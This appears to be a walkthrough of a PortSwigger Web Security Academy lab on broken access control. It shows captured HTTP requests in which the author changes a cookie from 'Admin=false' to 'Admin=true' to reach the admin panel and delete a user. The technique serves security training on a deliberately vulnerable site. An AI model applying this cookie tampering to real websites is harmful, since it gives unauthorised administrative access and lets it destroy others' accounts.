


Lab: User role controlled by request parameter


This lab has an admin panel at `/admin`, which identifies administrators using a forgeable cookie.

Solve the lab by accessing the admin panel and using it to delete the user `carlos`.

You can log in to your own account using the following credentials: `wiener:peter`





User role controlled by request parameter

LAB Not solved 


[Back to lab description >>](#)

[Home](#) | [My account](#)


WE LIKE TO
SHOP 




Pet Experience Days
★★★★☆ \$51.81
[View details](#)



Couple's Umbrella
★★★★★ \$67.18
[View details](#)



Vintage Neck Defender
★★★☆☆ \$74.18
[View details](#)



The Bucket of Doom
★☆☆☆☆ \$51.49
[View details](#)

First, we need to login to the webpage using the given credentials and we need to intercept the request using burpsuite to check how the data is processed by the webpage.

Not secure | https://0a3000c604eae6881e71bed00520002.web-security-academy.net/my-account?id=wiener

WebSecurity Academy User role controlled by request parameter

LAB Not solved

Back to lab description >>

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Email


Update email


```
GET /my-account?id=wiener HTTP/2
Host: 0a3000c604eae6881e71bed00520002.web-security-academy.net
Cookie: Admin=false; session=NSBiHAs2odvLH1s1FrsGIAwZDuDgylmG
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not (A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3000c604eae6881e71bed00520002.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
```

By Modifying the Path and Cookie Admin Parameter we can able to bypass the access control mechanism.

```
GET /admin HTTP/2
Host: 0a3000c604eae6881e71bed00520002.web-security-academy.net
Cookie: Admin=true; session=NSBiHAs2odvLH1s1FrsGIAwZDuDgylmG
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not (A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a3000c604eae6881e71bed00520002.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
```

Not secure | https://0a3000c604eae6881e71bed00520002.web-security-academy.net/my-account?id=wiener

User role controlled by request parameter

LAB Not solved 

Back to lab description >>

Users

[Home](#) | [Admin panel](#) | [My account](#)

wiener - [Delete](#)
carlos - [Delete](#)



User role controlled by request parameter

[Back to lab description >>](#)

LAB Solved



Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)

[Home](#) | [My account](#)

Admin interface only available if logged in as an administrator